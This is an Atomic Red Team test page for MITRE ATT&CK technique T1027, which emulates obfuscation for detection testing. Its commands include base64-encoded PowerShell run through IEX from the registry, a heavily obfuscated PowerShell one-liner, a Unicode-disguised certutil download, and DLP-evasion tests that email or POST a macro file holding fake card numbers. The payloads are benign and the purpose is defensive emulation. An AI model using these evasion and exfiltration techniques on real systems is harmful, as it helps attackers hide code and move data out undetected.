# T1027 - Obfuscated Files or Information
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1027)
<blockquote>Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. 

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. 

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) </blockquote>

## Atomic Tests

- [Atomic Test #1 - Decode base64 Data into Script](#atomic-test-1---decode-base64-data-into-script)

- [Atomic Test #2 - Execute base64-encoded PowerShell](#atomic-test-2---execute-base64-encoded-powershell)

- [Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry](#atomic-test-3---execute-base64-encoded-powershell-from-windows-registry)

- [Atomic Test #4 - Execution from Compressed File](#atomic-test-4---execution-from-compressed-file)

- [Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email](#atomic-test-5---dlp-evasion-via-sensitive-data-in-vba-macro-over-email)

- [Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP](#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http)

- [Atomic Test #7 - Obfuscated Command in PowerShell](#atomic-test-7---obfuscated-command-in-powershell)

- [Atomic Test #8 - Obfuscated Command Line using special Unicode characters](#atomic-test-8---obfuscated-command-line-using-special-unicode-characters)


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## Atomic Test #1 - Decode base64 Data into Script
Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts `echo Hello from the Atomic Red Team`.

**Supported Platforms:** macOS, Linux


**auto_generated_guid:** f45df6be-2e1e-4136-a384-8f18ab3826fb






#### Attack Commands: Run with `sh`! 


```sh
sh -c "echo ZWNobyBIZWxsbyBmcm9tIHRoZSBBdG9taWMgUmVkIFRlYW0= > /tmp/encoded.dat"
cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
```






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<br/>

## Atomic Test #2 - Execute base64-encoded PowerShell
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"

**Supported Platforms:** Windows


**auto_generated_guid:** a50d5a97-2531-499e-a1de-5544c74432c6





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| powershell_command | PowerShell command to encode | String | Write-Host "Hey, Atomic!"|


#### Attack Commands: Run with `powershell`! 


```powershell
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
```






<br/>
<br/>

## Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

**Supported Platforms:** Windows


**auto_generated_guid:** 450e7218-7915-4be4-8b9b-464a49eafcec





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| registry_key_storage | Windows Registry Key to store code | String | HKCU:Software&#92;Microsoft&#92;Windows&#92;CurrentVersion|
| powershell_command | PowerShell command to encode | String | Write-Host "Hey, Atomic!"|
| registry_entry_storage | Windows Registry entry to store code under key | String | Debug|


#### Attack Commands: Run with `powershell`! 


```powershell
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
```

#### Cleanup Commands:
```powershell
Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}
```





<br/>
<br/>

## Atomic Test #4 - Execution from Compressed File
Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

**Supported Platforms:** Windows


**auto_generated_guid:** f8c8a909-5f29-49ac-9244-413936ce6d1f





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| url_path | url to download Exe | Url | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"%temp%\temp_T1027.zip\T1027.exe"
```

#### Cleanup Commands:
```cmd
taskkill /f /im calculator.exe >nul 2>nul
rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul
del /Q "%temp%\T1027.zip" >nul 2>nul
```



#### Dependencies:  Run with `powershell`!
##### Description: T1027.exe must exist on disk at $env:temp\temp_T1027.zip\T1027.exe
##### Check Prereq Commands:
```powershell
if (Test-Path $env:temp\temp_T1027.zip\T1027.exe) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip"
Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\temp_T1027.zip\" -Force
```




<br/>
<br/>

## Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

**Supported Platforms:** Windows


**auto_generated_guid:** 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Path of the XLSM file | Path | PathToAtomicsFolder&#92;T1027&#92;src&#92;T1027-cc-macro.xlsm|
| sender | sender email | String | test@corp.com|
| receiver | receiver email | String | test@corp.com|
| smtp_server | SMTP Server IP Address | String | 127.0.0.1|


#### Attack Commands: Run with `powershell`! 


```powershell
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments #{input_file} -SmtpServer #{smtp_server}
```






<br/>
<br/>

## Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

**Supported Platforms:** Windows


**auto_generated_guid:** e2d85e66-cb66-4ed7-93b1-833fc56c9319





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Path of the XLSM file | Path | PathToAtomicsFolder&#92;T1027&#92;src&#92;T1027-cc-macro.xlsm|
| ip_address | Destination IP address | String | 127.0.0.1|


#### Attack Commands: Run with `powershell`! 


```powershell
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file}
```






<br/>
<br/>

## Atomic Test #7 - Obfuscated Command in PowerShell
This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

**Supported Platforms:** Windows


**auto_generated_guid:** 8b3f4ed6-077b-4bdd-891c-2d237f19410f






#### Attack Commands: Run with `powershell`! 


```powershell
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f'nv','cO','ert')  ;  &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') (  (&("{1}{2}{0}"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
```






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<br/>

## Atomic Test #8 - Obfuscated Command Line using special Unicode characters
This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters).
Reference:
https://wietze.github.io/blog/windows-command-line-obfuscation

**Supported Platforms:** Windows


**auto_generated_guid:** e68b945c-52d0-4dd9-a5e8-d173d70c448f





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_file | URL of file to download | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt|
| local_path | Local path/filename to save the dowloaded file to | Path | Atomic-license.txt|

#### Run it with these steps! 
1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.


  certutil —ૹu૰rlࢰca࣢c෯he  –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} #{local_path}


2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.







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